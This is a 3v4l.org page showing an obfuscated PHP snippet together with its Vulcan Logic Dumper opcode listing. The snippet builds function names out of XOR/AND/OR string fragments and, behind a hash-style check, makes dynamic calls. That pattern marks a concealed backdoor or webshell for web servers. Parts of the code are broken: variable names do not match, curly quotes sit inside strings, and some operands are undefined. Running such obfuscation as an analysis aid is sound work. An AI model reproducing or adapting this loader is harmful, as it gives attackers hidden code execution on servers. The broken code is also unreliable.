3v4l.org

run code in 300+ PHP versions simultaneously
<?php $P81J5DkwYm='CQWnk4mSgxD'^apC4zA_i; $Oq9E1Iip7=ouw&'o}='; $qkit='&='.HZ^'IX=+=-'; $eBwDr2V=' ,|:F-2>1u@:”'.qgQ1.'<*'^EMR.'”@'.tKU2.'$Ln&)(hkx'; $Arb='>8a'^Mb9; $Wt0cI9t='(h9'|'}.}'; $ON_=eftg.'/l'|F3FDez; $koJhZ='}'.v.'.=8l`5'&'RVN]m.l}z^H>'; $QgYL=' “.'.DAMT.'%#Q'|' $+(<TH@T-#A'; $GDWkPb='@*'.'%DxM”g#'.HCId.'@^'.ItSA^'xW^sN}@'.OR05.'|Jq./F8|'; $g1MRqXRy=$Oq9E1I&$Wt0cI9t; $Db_3w=$ON_&$qkit; $_izus6=$koJhZ^$QgYL; $gMYmjr=('@)+G)F”N#2$t'. '$p4?W-,'|'0!&c`v!,0>4$OP0 f#p')^$GDWkPbCn5; $DP7=('5$ C1=”E+c.'.g27mr.'%!'.r0x66.'<22@5x'|'!4(2rc>`3a?!73 '.cH9a.'$`<34(“y+P')&('{jWR%O.%1m^R%-<B'.'f?W@[#q{]; '.ZpqKKG^'J_!'.VG.'[U9%XZ@}'.YJf5.'&LDF$'.MaFIt.'<p'); $niZllS=('{/7p”'.fjlb.' =i,'^'; os0}>?,Qd{(l')|$_bGCvD; if($g1MRqXRy($Db_3w($gMYmjrlJc))==$DP7)$_izus6(('=[M{]~o~m}'&'~_W9}>'.iyem),$Db_3w($niZ),$eBwDr2V.$ArvQhb.('lv^9{p'^'”C<T6M')); 'z-YAYBxK:@x#4St%.q+_H5^P(XB|+leP9f-{1f'; ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 95, Position 2 = 108
Branch analysis from position: 95
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 108
filename:       /in/4H8WK
function name:  (null)
number of ops:  109
compiled vars:  !0 = $P81J5DkwYm, !1 = $Oq9E1Iip7, !2 = $qkit, !3 = $eBwDr2V, !4 = $Arb, !5 = $Wt0cI9t, !6 = $ON_, !7 = $koJhZ, !8 = $QgYL, !9 = $GDWkPb, !10 = $g1MRqXRy, !11 = $Oq9E1I, !12 = $Db_3w, !13 = $_izus6, !14 = $gMYmjr, !15 = $GDWkPbCn5, !16 = $DP7, !17 = $niZllS, !18 = $_bGCvD, !19 = $gMYmjrlJc, !20 = $niZ, !21 = $ArvQhb
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   FETCH_CONSTANT                                   ~22     'apC4zA_i'
          1        BW_XOR                                           ~23     ~22, 'CQWnk4mSgxD'
          2        ASSIGN                                                   !0, ~23
    3     3        FETCH_CONSTANT                                   ~25     'ouw'
          4        BW_AND                                           ~26     ~25, 'o%7D%3D'
          5        ASSIGN                                                   !1, ~26
    4     6        FETCH_CONSTANT                                   ~28     'HZ'
          7        CONCAT                                           ~29     '%26%3D', ~28
          8        BW_XOR                                           ~30     ~29, 'IX%3D%2B%3D-'
          9        ASSIGN                                                   !2, ~30
    5    10        FETCH_CONSTANT                                   ~32     'qgQ1'
         11        CONCAT                                           ~33     '+%2C%7C%3AF-2%3E1u%40%3A%E2%80%9D', ~32
         12        CONCAT                                           ~34     ~33, '%3C%2A'
         13        FETCH_CONSTANT                                   ~35     'EMR'
         14        CONCAT                                           ~36     ~35, '%E2%80%9D%40'
         15        FETCH_CONSTANT                                   ~37     'tKU2'
         16        CONCAT                                           ~38     ~36, ~37
         17        CONCAT                                           ~39     ~38, '%24Ln%26%29%28hkx'
         18        BW_XOR                                           ~40     ~34, ~39
         19        ASSIGN                                                   !3, ~40
    6    20        FETCH_CONSTANT                                   ~42     'Mb9'
         21        BW_XOR                                           ~43     ~42, '%3E8a'
         22        ASSIGN                                                   !4, ~43
    7    23        ASSIGN                                                   !5, '%7Dn%7D'
    8    24        FETCH_CONSTANT                                   ~46     'eftg'
         25        CONCAT                                           ~47     ~46, '%2Fl'
         26        FETCH_CONSTANT                                   ~48     'F3FDez'
         27        BW_OR                                            ~49     ~47, ~48
         28        ASSIGN                                                   !6, ~49
    9    29        FETCH_CONSTANT                                   ~51     'v'
         30        CONCAT                                           ~52     '%7D', ~51
         31        CONCAT                                           ~53     ~52, '.%3D8l%605'
         32        BW_AND                                           ~54     ~53, 'RVN%5Dm.l%7Dz%5EH%3E'
         33        ASSIGN                                                   !7, ~54
   10    34        FETCH_CONSTANT                                   ~56     'DAMT'
         35        CONCAT                                           ~57     '+%E2%80%9C.', ~56
         36        CONCAT                                           ~58     ~57, '%25%23Q'
         37        BW_OR                                            ~59     ~58, '+%24%2B%28%3CTH%40T-%23A'
         38        ASSIGN                                                   !8, ~59
   11    39        FETCH_CONSTANT                                   ~61     'HCId'
         40        CONCAT                                           ~62     '%40%2A%25DxM%E2%80%9Dg%23', ~61
         41        CONCAT                                           ~63     ~62, '%40%5E'
         42        FETCH_CONSTANT                                   ~64     'ItSA'
         43        CONCAT                                           ~65     ~63, ~64
         44        FETCH_CONSTANT                                   ~66     'OR05'
         45        CONCAT                                           ~67     'xW%5EsN%7D%40', ~66
         46        CONCAT                                           ~68     ~67, '%7CJq.%2FF8%7C'
         47        BW_XOR                                           ~69     ~65, ~68
         48        ASSIGN                                                   !9, ~69
   12    49        BW_AND                                           ~71     !11, !5
         50        ASSIGN                                                   !10, ~71
   13    51        BW_AND                                           ~73     !6, !2
         52        ASSIGN                                                   !12, ~73
   14    53        BW_XOR                                           ~75     !7, !8
         54        ASSIGN                                                   !13, ~75
   16    55        BW_XOR                                           ~77     !15, 'p%29%2Fgiv%E3%AC%BD%7E76ot4pv%3Fw-%2C'
   15    56        ASSIGN                                                   !14, ~77
   17    57        FETCH_CONSTANT                                   ~79     'g27mr'
         58        CONCAT                                           ~80     '5%24+C1%3D%E2%80%9DE%2Bc.', ~79
         59        CONCAT                                           ~81     ~80, '%25%21'
         60        FETCH_CONSTANT                                   ~82     'r0x66'
         61        CONCAT                                           ~83     ~81, ~82
         62        CONCAT                                           ~84     ~83, '%3C22%405x'
         63        FETCH_CONSTANT                                   ~85     'cH9a'
         64        CONCAT                                           ~86     '%214%282rc%3E%603a%3F%2173+', ~85
         65        CONCAT                                           ~87     ~86, '%24%60%3C34%28%E2%80%9Cy%2BP'
         66        BW_OR                                            ~88     ~84, ~87
   18    67        FETCH_CONSTANT                                   ~89     'ZpqKKG'
         68        CONCAT                                           ~90     '%7BjWR%25O.%251m%5ER%25-%3CBf%3FW%40%5B%23q%7B%5D%3B%0A', ~89
         69        FETCH_CONSTANT                                   ~91     'VG'
         70        CONCAT                                           ~92     'J_%21', ~91
         71        CONCAT                                           ~93     ~92, '%5BU9%25XZ%40%7D'
         72        FETCH_CONSTANT                                   ~94     'YJf5'
         73        CONCAT                                           ~95     ~93, ~94
         74        CONCAT                                           ~96     ~95, '%26LDF%24'
         75        FETCH_CONSTANT                                   ~97     'MaFIt'
         76        CONCAT                                           ~98     ~96, ~97
         77        CONCAT                                           ~99     ~98, '%3Cp'
         78        BW_XOR                                           ~100    ~90, ~99
         79        BW_AND                                           ~101    ~88, ~100
   17    80        ASSIGN                                                   !16, ~101
   19    81        FETCH_CONSTANT                                   ~103    'fjlb'
         82        CONCAT                                           ~104    '%7B%2F7p%E2%80%9D', ~103
         83        CONCAT                                           ~105    ~104, '+%3Di%2C'
         84        BW_XOR                                           ~106    ~105, '%3B%0Aos0%7D%3E%3F%2CQd%7B%28l'
   20    85        BW_OR                                            ~107    !18, ~106
   19    86        ASSIGN                                                   !17, ~107
   21    87        INIT_DYNAMIC_CALL                                        !10
         88        INIT_DYNAMIC_CALL                                        !12
         89        SEND_VAR_EX                                              !19
         90        DO_FCALL                                      0  $109    
         91        SEND_VAR_NO_REF_EX                                       $109
         92        DO_FCALL                                      0  $110    
         93        IS_EQUAL                                                 !16, $110
         94      > JMPZ                                                     ~111, ->108
         95    >   INIT_DYNAMIC_CALL                                        !13
         96        FETCH_CONSTANT                                   ~112    'iyem'
         97        CONCAT                                           ~113    '%7E_W9%7D%3E', ~112
         98        BW_AND                                           ~114    ~113, '%3D%5BM%7B%5D%7Eo%7Em%7D'
         99        SEND_VAL_EX                                              ~114
        100        INIT_DYNAMIC_CALL                                        !12
        101        SEND_VAR_EX                                              !20
        102        DO_FCALL                                      0  $115    
        103        SEND_VAR_NO_REF_EX                                       $115
        104        CONCAT                                           ~116    !3, !21
        105        CONCAT                                           ~117    ~116, '%8E%F6%C3zG%24'
        106        SEND_VAL_EX                                              ~117
        107        DO_FCALL                                      0          
   24   108    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
163.04 ms | 1403 KiB | 13 Q